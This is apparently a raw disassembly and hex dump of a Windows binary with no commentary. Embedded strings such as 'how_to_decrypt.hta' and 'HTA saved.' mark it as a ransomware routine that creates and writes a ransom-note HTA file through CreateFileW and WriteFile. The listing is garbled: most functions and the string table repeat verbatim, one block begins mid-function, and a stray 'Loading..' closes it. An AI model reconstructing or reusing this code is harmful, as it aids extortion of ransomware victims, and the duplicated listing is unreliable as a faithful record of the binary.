0043a56dmov rax, [rbp+160]
0043a574mov [rbp+152], rax
0043a57bcmp [rbp+152], 0
0043a583je 0x43a597
0043a585mov rax, [rbp+152]
0043a58cmov rax, [rax-8]
0043a590mov [rbp+152], rax
0043a597
0043a597loc_43a597:
0043a597mov eax, [rbp+188]
0043a59dcmp eax, [rbp+152]
0043a5a3je 0x43a693
0043a5a9mov rax, [rip+0x29a10]
0043a5b0cmp [rax+308], 0
0043a5b7je 0x43a693
0043a5bdmov [rbp+200], 0
0043a5c8nop
0043a5c9lea rcx, [rbp+88]
0043a5cdmov edx, [rbp+188]
0043a5d3call fn_4225f0
0043a5d8lea rcx, [rbp+200]
0043a5dfmov edx, 3
0043a5e4lea r8, [rip+761]
0043a5ebmov r9, [rbp+88]
0043a5eflea rax, [rip+806]
0043a5f6mov [rsp+32], rax
0043a5fbcall fn_40dbb0
0043a600mov rax, [rip+0x299b9]
0043a607mov rax, [rax+152]
0043a60emov [rbp+144], rax
0043a615mov rax, [rbp+144]
0043a61cmov [rbp+136], rax
0043a623cmp [rbp+136], 0
0043a62bje 0x43a63f
0043a62dmov rax, [rbp+136]
0043a634mov rax, [rax-8]
0043a638mov [rbp+136], rax
0043a63f
0043a63floc_43a63f:
0043a63flea rcx, [rbp+72]
0043a643mov rdx, [rbp+136]
0043a64acall fn_4225f0
0043a64flea rcx, [rbp+80]
0043a653mov edx, 3
0043a658mov r8, [rbp+200]
0043a65fmov r9, [rbp+72]
0043a663lea rax, [rip+718]
0043a66amov [rsp+32], rax
0043a66fcall fn_40dbb0
0043a674mov rcx, [rbp+80]
0043a678mov dl, 1
0043a67acall fn_439060
0043a67fnop
0043a680lea rcx, [rbp+200]
0043a687call fn_40bcf0
0043a68cxor ecx, ecx
0043a68ecall fn_4392a0
0043a693
0043a693loc_43a693:
0043a693mov rcx, [rbp+192]
0043a69acall CloseHandle
0043a69fmov rax, [rip+0x2991a]
0043a6a6cmp [rax+308], 0
0043a6adje 0x43a6bd
0043a6aflea rcx, [rip+670]
0043a6b6mov dl, 1
0043a6b8call fn_439060
0043a6bd
0043a6bdloc_43a6bd:
0043a6bdnop
0043a6be
0043a6beloc_43a6be:
0043a6belea rcx, [rbp+72]
0043a6c2mov edx, 3
0043a6c7call fn_40bdd0
0043a6cclea rcx, [rbp+96]
0043a6d0call fn_40bd90
0043a6d5lea rcx, [rbp+104]
0043a6d9call fn_40bcf0
0043a6delea rcx, [rbp+112]
0043a6e2call fn_40bd90
0043a6e7lea rcx, [rbp+224]
0043a6eecall fn_40bd90
0043a6f3lea rsp, [rbp+208]
0043a6fapop rbp
0043a6fbret
0043a340
0043a340fn_43a340:
0043a340push rbp
0043a341sub rsp, 208
0043a348mov rbp, rsp
0043a34bmov [rbp+80], 0
0043a353mov [rbp+72], 0
0043a35bmov [rbp+88], 0
0043a363mov [rbp+96], 0
0043a36bmov [rbp+112], 0
0043a373mov [rbp+104], 0
0043a37bmov [rbp+200], 0
0043a386mov [rbp+120], rbp
0043a38amov [rbp+224], rcx
0043a391lea rcx, [rbp+224]
0043a398call fn_40bf00
0043a39dnop
0043a39emov rax, [rip+0x29c1b]
0043a3a5cmp [rax+308], 0
0043a3acje 0x43a3ee
0043a3aelea rcx, [rbp+112]
0043a3b2mov edx, 3
0043a3b7lea r8, [rip+942]
0043a3bemov r9, [rbp+224]
0043a3c5lea rax, [rip+1000]
0043a3ccmov [rsp+32], rax
0043a3d1call fn_40d530
0043a3d6lea rcx, [rbp+104]
0043a3damov rdx, [rbp+112]
0043a3decall fn_40d820
0043a3e3mov rcx, [rbp+104]
0043a3e7mov dl, 1
0043a3e9call fn_439060
0043a3ee
0043a3eeloc_43a3ee:
0043a3eelea rcx, [rbp+96]
0043a3f2mov rdx, [rbp+224]
0043a3f9lea r8, [rip+948]
0043a400call fn_40d230
0043a405mov rcx, [rbp+96]
0043a409call fn_40d180
0043a40emov rcx, rax
0043a411mov edx, 0xffffffffc0000000
0043a416xor r8, r8
0043a419xor r9, r9
0043a41cmov [rsp+32], 1
0043a424mov [rsp+40], 128
0043a42cmov [rsp+48], 0
0043a435call CreateFileW
0043a43amov [rbp+192], rax
0043a441cmp [rbp+192], -1
0043a449jne 0x43a479
0043a44bmov rax, [rip+0x29b6e]
0043a452cmp [rax+308], 0
0043a459je 0x43a6be
0043a45flea rcx, [rip+898]
0043a466mov dl, 1
0043a468call fn_439060
0043a46dxor ecx, ecx
0043a46fcall fn_4392a0
0043a474jmp 0x43a6be
0043a479
0043a479loc_43a479:
0043a479mov rcx, [rbp+192]
0043a480xor edx, edx
0043a482xor r8, r8
0043a485xor r9, r9
0043a488call SetFilePointerEx
0043a48dtest eax, eax
0043a48fjne 0x43a4bf
0043a491mov rax, [rip+0x29b28]
0043a498cmp [rax+308], 0
0043a49fje 0x43a558
0043a4a5lea rcx, [rip+920]
0043a4acmov dl, 1
0043a4aecall fn_439060
0043a4b3xor ecx, ecx
0043a4b5call fn_4392a0
0043a4bajmp 0x43a558
0043a4bf
0043a4bfloc_43a4bf:
0043a4bfmov rax, [rip+0x29afa]
0043a4c6mov rax, [rax+152]
0043a4cdmov [rbp+176], rax
0043a4d4mov rax, [rbp+176]
0043a4dbmov [rbp+168], rax
0043a4e2cmp [rbp+168], 0
0043a4eaje 0x43a4fe
0043a4ecmov rax, [rbp+168]
0043a4f3mov rax, [rax-8]
0043a4f7mov [rbp+168], rax
0043a4fe
0043a4feloc_43a4fe:
0043a4femov rcx, [rbp+192]
0043a505mov rax, [rip+0x29ab4]
0043a50cmov rdx, [rax+152]
0043a513mov r8l, [rbp+168]
0043a51alea r9, [rbp+188]
0043a521mov [rsp+32], 0
0043a52acall WriteFile
0043a52ftest eax, eax
0043a531jne 0x43a558
0043a533mov rax, [rip+0x29a86]
0043a53acmp [rax+308], 0
0043a541je 0x43a558
0043a543lea rcx, [rip+850]
0043a54amov dl, 1
0043a54ccall fn_439060
0043a551xor ecx, ecx
0043a553call fn_4392a0
0043a558
0043a558loc_43a558:
0043a558mov rax, [rip+0x29a61]
0043a55fmov rax, [rax+152]
0043a566mov [rbp+160], rax
0043a56dmov rax, [rbp+160]
0043a574mov [rbp+152], rax
0043a57bcmp [rbp+152], 0
0043a583je 0x43a597
0043a585mov rax, [rbp+152]
0043a58cmov rax, [rax-8]
0043a590mov [rbp+152], rax
0043a597
0043a597loc_43a597:
0043a597mov eax, [rbp+188]
0043a59dcmp eax, [rbp+152]
0043a5a3je 0x43a693
0043a5a9mov rax, [rip+0x29a10]
0043a5b0cmp [rax+308], 0
0043a5b7je 0x43a693
0043a5bdmov [rbp+200], 0
0043a5c8nop
0043a5c9lea rcx, [rbp+88]
0043a5cdmov edx, [rbp+188]
0043a5d3call fn_4225f0
0043a5d8lea rcx, [rbp+200]
0043a5dfmov edx, 3
0043a5e4lea r8, [rip+761]
0043a5ebmov r9, [rbp+88]
0043a5eflea rax, [rip+806]
0043a5f6mov [rsp+32], rax
0043a5fbcall fn_40dbb0
0043a600mov rax, [rip+0x299b9]
0043a607mov rax, [rax+152]
0043a60emov [rbp+144], rax
0043a615mov rax, [rbp+144]
0043a61cmov [rbp+136], rax
0043a623cmp [rbp+136], 0
0043a62bje 0x43a63f
0043a62dmov rax, [rbp+136]
0043a634mov rax, [rax-8]
0043a638mov [rbp+136], rax
0043a63f
0043a63floc_43a63f:
0043a63flea rcx, [rbp+72]
0043a643mov rdx, [rbp+136]
0043a64acall fn_4225f0
0043a64flea rcx, [rbp+80]
0043a653mov edx, 3
0043a658mov r8, [rbp+200]
0043a65fmov r9, [rbp+72]
0043a663lea rax, [rip+718]
0043a66amov [rsp+32], rax
0043a66fcall fn_40dbb0
0043a674mov rcx, [rbp+80]
0043a678mov dl, 1
0043a67acall fn_439060
0043a67fnop
0043a680lea rcx, [rbp+200]
0043a687call fn_40bcf0
0043a68cxor ecx, ecx
0043a68ecall fn_4392a0
0043a693
0043a693loc_43a693:
0043a693mov rcx, [rbp+192]
0043a69acall CloseHandle
0043a69fmov rax, [rip+0x2991a]
0043a6a6cmp [rax+308], 0
0043a6adje 0x43a6bd
0043a6aflea rcx, [rip+670]
0043a6b6mov dl, 1
0043a6b8call fn_439060
0043a6bd
0043a6bdloc_43a6bd:
0043a6bdnop
0043a6be
0043a6beloc_43a6be:
0043a6belea rcx, [rbp+72]
0043a6c2mov edx, 3
0043a6c7call fn_40bdd0
0043a6cclea rcx, [rbp+96]
0043a6d0call fn_40bd90
0043a6d5lea rcx, [rbp+104]
0043a6d9call fn_40bcf0
0043a6delea rcx, [rbp+112]
0043a6e2call fn_40bd90
0043a6e7lea rcx, [rbp+224]
0043a6eecall fn_40bd90
0043a6f3lea rsp, [rbp+208]
0043a6fapop rbp
0043a6fbret
0043a340
0043a6fc
0043a6fc 48 8d 40 00 H.@.
0043a6fc 48 8d 40 00 H.@.
0043a700
0043a700fn_43a700:
0043a700push rbp
0043a701sub rsp, 32
0043a705mov rbp, rsp
0043a708lea rcx, [rdx+200]
0043a70fcall fn_40bcf0
0043a714lea rsp, [rbp+32]
0043a718pop rbp
0043a719ret
0043a700
0043a700fn_43a700:
0043a700push rbp
0043a701sub rsp, 32
0043a705mov rbp, rsp
0043a708lea rcx, [rdx+200]
0043a70fcall fn_40bcf0
0043a714lea rsp, [rbp+32]
0043a718pop rbp
0043a719ret
0043a700
0043a71a
0043a71a 64 48 8d 44 20 00 dH.D .
0043a71a 64 48 8d 44 20 00 dH.D .
0043a720
0043a720fn_43a720:
0043a720push rbp
0043a721push rbx
0043a722sub rsp, 40
0043a726mov rbp, rsp
0043a729mov rbx, rdx
0043a72clea rcx, [rbx+72]
0043a730mov edx, 3
0043a735call fn_40bdd0
0043a73alea rcx, [rbx+96]
0043a73ecall fn_40bd90
0043a743lea rcx, [rbx+104]
0043a747call fn_40bcf0
0043a74clea rcx, [rbx+112]
0043a750call fn_40bd90
0043a755lea rcx, [rbx+224]
0043a75ccall fn_40bd90
0043a761lea rsp, [rbp+40]
0043a765pop rbx
0043a766pop rbp
0043a767ret
0043a720
0043a720fn_43a720:
0043a720push rbp
0043a721push rbx
0043a722sub rsp, 40
0043a726mov rbp, rsp
0043a729mov rbx, rdx
0043a72clea rcx, [rbx+72]
0043a730mov edx, 3
0043a735call fn_40bdd0
0043a73alea rcx, [rbx+96]
0043a73ecall fn_40bd90
0043a743lea rcx, [rbx+104]
0043a747call fn_40bcf0
0043a74clea rcx, [rbx+112]
0043a750call fn_40bd90
0043a755lea rcx, [rbx+224]
0043a75ccall fn_40bd90
0043a761lea rsp, [rbp+40]
0043a765pop rbx
0043a766pop rbp
0043a767ret
0043a720
0043a768
0043a768 42 00 00 00 54 00 72 00 B...T.r.
0043a770 79 00 20 00 74 00 6f 00 20 00 63 00 72 00 65 00 y. .t.o. .c.r.e.
0043a780 61 00 74 00 65 00 20 00 61 00 6e 00 64 00 20 00 a.t.e. .a.n.d. .
0043a790 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 o.p.e.n. .H.T.A.
0043a7a0 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 00 00 .f.i.l.e.:. ...
0043a7b0 24 00 00 00 68 00 6f 00 77 00 5f 00 74 00 6f 00 $...h.o.w._.t.o.
0043a7c0 5f 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 _.d.e.c.r.y.p.t.
0043a7d0 2e 00 68 00 74 00 61 00 00 00 00 00 b0 04 02 00 ..h.t.a.........
0043a7e0 ff ff ff ff 27 00 00 00 57 00 41 00 52 00 4e 00 ....'...W.A.R.N.
0043a7f0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
0043a800 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 '.t. .c.r.e.a.t.
0043a810 65 00 20 00 6f 00 72 00 20 00 6f 00 70 00 65 00 e. .o.r. .o.p.e.
0043a820 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a830 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a840 25 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 %...W.A.R.N.I.N.
0043a850 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
0043a860 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043a870 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043a880 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 00 00 s.i.t.i.o.n.....
0043a890 b0 04 02 00 ff ff ff ff 1c 00 00 00 57 00 41 00 ............W.A.
0043a8a0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a8b0 61 00 6e 00 27 00 74 00 20 00 77 00 72 00 69 00 a.n.'.t. .w.r.i.
0043a8c0 74 00 65 00 20 00 74 00 6f 00 20 00 48 00 54 00 t.e. .t.o. .H.T.
0043a8d0 41 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff A...............
0043a8e0 15 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 ....W.A.R.N.I.N.
0043a8f0 47 00 3a 00 20 00 53 00 61 00 76 00 65 00 20 00 G.:. .S.a.v.e. .
0043a900 74 00 6f 00 20 00 48 00 54 00 41 00 20 00 00 00 t.o. .H.T.A. ...
0043a910 b0 04 02 00 ff ff ff ff 06 00 00 00 20 00 66 00 ............ .f.
0043a920 72 00 6f 00 6d 00 20 00 00 00 00 00 b0 04 02 00 r.o.m. .........
0043a930 ff ff ff ff 06 00 00 00 20 00 62 00 79 00 74 00 ........ .b.y.t.
0043a940 65 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.s.............
0043a950 0a 00 00 00 48 00 54 00 41 00 20 00 73 00 61 00 ....H.T.A. .s.a.
0043a960 76 00 65 00 64 00 2e 00 00 00 cc cc cc cc cc cc v.e.d...........
0043a768 42 00 00 00 54 00 72 00 B...T.r.
0043a770 79 00 20 00 74 00 6f 00 20 00 63 00 72 00 65 00 y. .t.o. .c.r.e.
0043a780 61 00 74 00 65 00 20 00 61 00 6e 00 64 00 20 00 a.t.e. .a.n.d. .
0043a790 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 o.p.e.n. .H.T.A.
0043a7a0 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 00 00 .f.i.l.e.:. ...
0043a7b0 24 00 00 00 68 00 6f 00 77 00 5f 00 74 00 6f 00 $...h.o.w._.t.o.
0043a7c0 5f 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 _.d.e.c.r.y.p.t.
0043a7d0 2e 00 68 00 74 00 61 00 00 00 00 00 b0 04 02 00 ..h.t.a.........
0043a7e0 ff ff ff ff 27 00 00 00 57 00 41 00 52 00 4e 00 ....'...W.A.R.N.
0043a7f0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
0043a800 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 '.t. .c.r.e.a.t.
0043a810 65 00 20 00 6f 00 72 00 20 00 6f 00 70 00 65 00 e. .o.r. .o.p.e.
0043a820 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a830 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a840 25 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 %...W.A.R.N.I.N.
0043a850 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
0043a860 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043a870 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043a880 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 00 00 s.i.t.i.o.n.....
0043a890 b0 04 02 00 ff ff ff ff 1c 00 00 00 57 00 41 00 ............W.A.
0043a8a0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a8b0 61 00 6e 00 27 00 74 00 20 00 77 00 72 00 69 00 a.n.'.t. .w.r.i.
0043a8c0 74 00 65 00 20 00 74 00 6f 00 20 00 48 00 54 00 t.e. .t.o. .H.T.
0043a8d0 41 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff A...............
0043a8e0 15 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 ....W.A.R.N.I.N.
0043a8f0 47 00 3a 00 20 00 53 00 61 00 76 00 65 00 20 00 G.:. .S.a.v.e. .
0043a900 74 00 6f 00 20 00 48 00 54 00 41 00 20 00 00 00 t.o. .H.T.A. ...
0043a910 b0 04 02 00 ff ff ff ff 06 00 00 00 20 00 66 00 ............ .f.
0043a920 72 00 6f 00 6d 00 20 00 00 00 00 00 b0 04 02 00 r.o.m. .........
0043a930 ff ff ff ff 06 00 00 00 20 00 62 00 79 00 74 00 ........ .b.y.t.
0043a940 65 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.s.............
0043a950 0a 00 00 00 48 00 54 00 41 00 20 00 73 00 61 00 ....H.T.A. .s.a.
0043a960 76 00 65 00 64 00 2e 00 00 00 cc cc cc cc cc cc v.e.d...........
0043a970
0043a970fn_43a970:
0043a970push rbp
0043a971push rbx
0043a972sub rsp, 120
0043a976mov rbp, rsp
0043a979mov [rbp+72], 0
0043a981mov [rbp+88], 0
0043a989mov [rbp+80], 0
0043a991mov [rbp+144], rcx
0043a998lea rcx, [rbp+144]
0043a99fcall fn_40bf00
0043a9a4nop
0043a9a5mov rax, [rip+0x29614]
0043a9accmp [rax+308], 0
0043a9b3je 0x43a9fc
0043a9b5lea rcx, [rbp+88]
0043a9b9mov edx, 3
0043a9belea r8, [rip+635]
0043a9c5mov rax, [rip+0x295f4]
0043a9ccmov r9, [rax+280]
0043a9d3lea rax, [rip+686]
0043a9damov [rsp+32], rax
0043a9dfcall fn_40d530
0043a9e4lea rcx, [rbp+80]
0043a9e8mov rdx, [rbp+88]
0043a9eccall fn_40d820
0043a9f1mov rcx, [rbp+80]
0043a9f5mov dl, 1
0043a9f7call fn_439060
0043a9fc
0043a9fcloc_43a9fc:
0043a9fclea rcx, [rbp+72]
0043aa00mov rdx, [rbp+144]
0043aa07lea r8, [rip+634]
0043aa0ecall fn_40d230
0043aa13mov rcx, [rbp+72]
0043aa17call fn_40d180
0043aa1cmov rcx, rax
0043aa1fmov edx, 0xffffffffc0000000
0043aa24xor r8, r8
0043aa27xor r9, r9
0043aa2amov [rsp+32], 1
0043aa32mov [rsp+40], 128
0043aa3amov [rsp+48], 0
0043aa43call CreateFileW
0043aa48mov rbx, rax
0043aa4bcmp rbx, -1
0043aa4fjne 0x43aa7f
0043aa51mov rax, [rip+0x29568]
0043aa58cmp [rax+308], 0
0043aa5fje 0x43abc4
0043aa65lea rcx, [rip+592]
0043aa6cmov dl, 1
0043aa6ecall fn_439060
0043aa73xor ecx, ecx
0043aa75call fn_4392a0
0043aa7ajmp 0x43abc4
0043aa7f
0043aa7floc_43aa7f:
0043aa7fmov [rbp+108], 0
0043aa86jmp 0x43ab7d
0043aa8b
0043aa8bloc_43aa8b:
0043aa8bmov [rbp+108], 0
0043aa92mov rcx, rbx
0043aa95xor edx, edx
0043aa97xor r8, r8
0043aa9axor r9, r9
0043aa9dcall SetFilePointerEx
0043aaa2test eax, eax
0043aaa4jne 0x43aad4
0043aaa6mov rax, [rip+0x29513]
0043aaadcmp [rax+308], 0
0043aab4je 0x43ab7d
0043aabalea rcx, [rip+599]
0043aac1mov dl, 1
0043aac3call fn_439060
0043aac8xor ecx, ecx
0043aacacall fn_4392a0
0043aacfjmp 0x43ab7d
0043aad4
0043aad4loc_43aad4:
0043aad4mov rax, [rip+0x294e5]
0043aadbmov rax, [rax+152]
0043aae2test rax, rax
0043aae5je 0x43aaeb
0043aae7mov rax, [rax-8]
0043aaeb
0043aaebloc_43aaeb:
0043aaebmov rcx, rbx
0043aaeemov rdx, [rip+0x294cb]
0043aaf5mov rdx, [rdx+152]
0043aafcmov r8l, eax
0043aafflea r9, [rbp+108]
0043ab03mov [rsp+32], 0
0043ab0ccall WriteFile
0043ab11test eax, eax
0043ab13jne 0x43ab3c
0043ab15mov rax, [rip+0x294a4]
0043ab1ccmp [rax+308], 0
0043ab23je 0x43ab7d
0043ab25lea rcx, [rip+600]
0043ab2cmov dl, 1
0043ab2ecall fn_439060
0043ab33xor ecx, ecx
0043ab35call fn_4392a0
0043ab3ajmp 0x43ab7d
0043ab3c
0043ab3cloc_43ab3c:
0043ab3cmov rax, [rip+0x2947d]
0043ab43mov rax, [rax+152]
0043ab4atest rax, rax
0043ab4dje 0x43ab53
0043ab4fmov rax, [rax-8]
0043ab53
0043ab53loc_43ab53:
0043ab53cmp [rbp+108], eax
0043ab56je 0x43ab7d
0043ab58mov rax, [rip+0x29461]
0043ab5fcmp [rax+308], 0
0043ab66je 0x43ab7d
0043ab68lea rcx, [rip+621]
0043ab6fmov dl, 1
0043ab71call fn_439060
0043ab76xor ecx, ecx
0043ab78call fn_4392a0
0043ab7d
0043ab7dloc_43ab7d:
0043ab7dmov rax, [rip+0x2943c]
0043ab84mov rax, [rax+152]
0043ab8btest rax, rax
0043ab8eje 0x43ab94
0043ab90mov rax, [rax-8]
0043ab94
0043ab94loc_43ab94:
0043ab94cmp [rbp+108], eax
0043ab97jne 0x43aa8b
0043ab9dmov rcx, rbx
0043aba0call CloseHandle
0043aba5mov rax, [rip+0x29414]
0043abaccmp [rax+308], 0
0043abb3je 0x43abc3
0043abb5lea rcx, [rip+652]
0043abbcmov dl, 1
0043abbecall fn_439060
0043abc3
0043abc3loc_43abc3:
0043abc3nop
0043abc4
0043abc4loc_43abc4:
0043abc4lea rcx, [rbp+72]
0043abc8call fn_40bd90
0043abcdlea rcx, [rbp+80]
0043abd1call fn_40bcf0
0043abd6lea rcx, [rbp+88]
0043abdacall fn_40bd90
0043abdflea rcx, [rbp+144]
0043abe6call fn_40bd90
0043abeblea rsp, [rbp+120]
0043abefpop rbx
0043abf0pop rbp
0043abf1ret
0043a970
0043a970fn_43a970:
0043a970push rbp
0043a971push rbx
0043a972sub rsp, 120
0043a976mov rbp, rsp
0043a979mov [rbp+72], 0
0043a981mov [rbp+88], 0
0043a989mov [rbp+80], 0
0043a991mov [rbp+144], rcx
0043a998lea rcx, [rbp+144]
0043a99fcall fn_40bf00
0043a9a4nop
0043a9a5mov rax, [rip+0x29614]
0043a9accmp [rax+308], 0
0043a9b3je 0x43a9fc
0043a9b5lea rcx, [rbp+88]
0043a9b9mov edx, 3
0043a9belea r8, [rip+635]
0043a9c5mov rax, [rip+0x295f4]
0043a9ccmov r9, [rax+280]
0043a9d3lea rax, [rip+686]
0043a9damov [rsp+32], rax
0043a9dfcall fn_40d530
0043a9e4lea rcx, [rbp+80]
0043a9e8mov rdx, [rbp+88]
0043a9eccall fn_40d820
0043a9f1mov rcx, [rbp+80]
0043a9f5mov dl, 1
0043a9f7call fn_439060
0043a9fc
0043a9fcloc_43a9fc:
0043a9fclea rcx, [rbp+72]
0043aa00mov rdx, [rbp+144]
0043aa07lea r8, [rip+634]
0043aa0ecall fn_40d230
0043aa13mov rcx, [rbp+72]
0043aa17call fn_40d180
0043aa1cmov rcx, rax
0043aa1fmov edx, 0xffffffffc0000000
0043aa24xor r8, r8
0043aa27xor r9, r9
0043aa2amov [rsp+32], 1
0043aa32mov [rsp+40], 128
0043aa3amov [rsp+48], 0
0043aa43call CreateFileW
0043aa48mov rbx, rax
0043aa4bcmp rbx, -1
0043aa4fjne 0x43aa7f
0043aa51mov rax, [rip+0x29568]
0043aa58cmp [rax+308], 0
0043aa5fje 0x43abc4
0043aa65lea rcx, [rip+592]
0043aa6cmov dl, 1
0043aa6ecall fn_439060
0043aa73xor ecx, ecx
0043aa75call fn_4392a0
0043aa7ajmp 0x43abc4
0043aa7f
0043aa7floc_43aa7f:
0043aa7fmov [rbp+108], 0
0043aa86jmp 0x43ab7d
0043aa8b
0043aa8bloc_43aa8b:
0043aa8bmov [rbp+108], 0
0043aa92mov rcx, rbx
0043aa95xor edx, edx
0043aa97xor r8, r8
0043aa9axor r9, r9
0043aa9dcall SetFilePointerEx
0043aaa2test eax, eax
0043aaa4jne 0x43aad4
0043aaa6mov rax, [rip+0x29513]
0043aaadcmp [rax+308], 0
0043aab4je 0x43ab7d
0043aabalea rcx, [rip+599]
0043aac1mov dl, 1
0043aac3call fn_439060
0043aac8xor ecx, ecx
0043aacacall fn_4392a0
0043aacfjmp 0x43ab7d
0043aad4
0043aad4loc_43aad4:
0043aad4mov rax, [rip+0x294e5]
0043aadbmov rax, [rax+152]
0043aae2test rax, rax
0043aae5je 0x43aaeb
0043aae7mov rax, [rax-8]
0043aaeb
0043aaebloc_43aaeb:
0043aaebmov rcx, rbx
0043aaeemov rdx, [rip+0x294cb]
0043aaf5mov rdx, [rdx+152]
0043aafcmov r8l, eax
0043aafflea r9, [rbp+108]
0043ab03mov [rsp+32], 0
0043ab0ccall WriteFile
0043ab11test eax, eax
0043ab13jne 0x43ab3c
0043ab15mov rax, [rip+0x294a4]
0043ab1ccmp [rax+308], 0
0043ab23je 0x43ab7d
0043ab25lea rcx, [rip+600]
0043ab2cmov dl, 1
0043ab2ecall fn_439060
0043ab33xor ecx, ecx
0043ab35call fn_4392a0
0043ab3ajmp 0x43ab7d
0043ab3c
0043ab3cloc_43ab3c:
0043ab3cmov rax, [rip+0x2947d]
0043ab43mov rax, [rax+152]
0043ab4atest rax, rax
0043ab4dje 0x43ab53
0043ab4fmov rax, [rax-8]
0043ab53
0043ab53loc_43ab53:
0043ab53cmp [rbp+108], eax
0043ab56je 0x43ab7d
0043ab58mov rax, [rip+0x29461]
0043ab5fcmp [rax+308], 0
0043ab66je 0x43ab7d
0043ab68lea rcx, [rip+621]
0043ab6fmov dl, 1
0043ab71call fn_439060
0043ab76xor ecx, ecx
0043ab78call fn_4392a0
0043ab7d
0043ab7dloc_43ab7d:
0043ab7dmov rax, [rip+0x2943c]
0043ab84mov rax, [rax+152]
0043ab8btest rax, rax
0043ab8eje 0x43ab94
0043ab90mov rax, [rax-8]
0043ab94
0043ab94loc_43ab94:
0043ab94cmp [rbp+108], eax
0043ab97jne 0x43aa8b
0043ab9dmov rcx, rbx
0043aba0call CloseHandle
0043aba5mov rax, [rip+0x29414]
0043abaccmp [rax+308], 0
0043abb3je 0x43abc3
0043abb5lea rcx, [rip+652]
0043abbcmov dl, 1
0043abbecall fn_439060
0043abc3
0043abc3loc_43abc3:
0043abc3nop
0043abc4
0043abc4loc_43abc4:
0043abc4lea rcx, [rbp+72]
0043abc8call fn_40bd90
0043abcdlea rcx, [rbp+80]
0043abd1call fn_40bcf0
0043abd6lea rcx, [rbp+88]
0043abdacall fn_40bd90
0043abdflea rcx, [rbp+144]
0043abe6call fn_40bd90
0043abeblea rsp, [rbp+120]
0043abefpop rbx
0043abf0pop rbp
0043abf1ret
0043a970
Loading..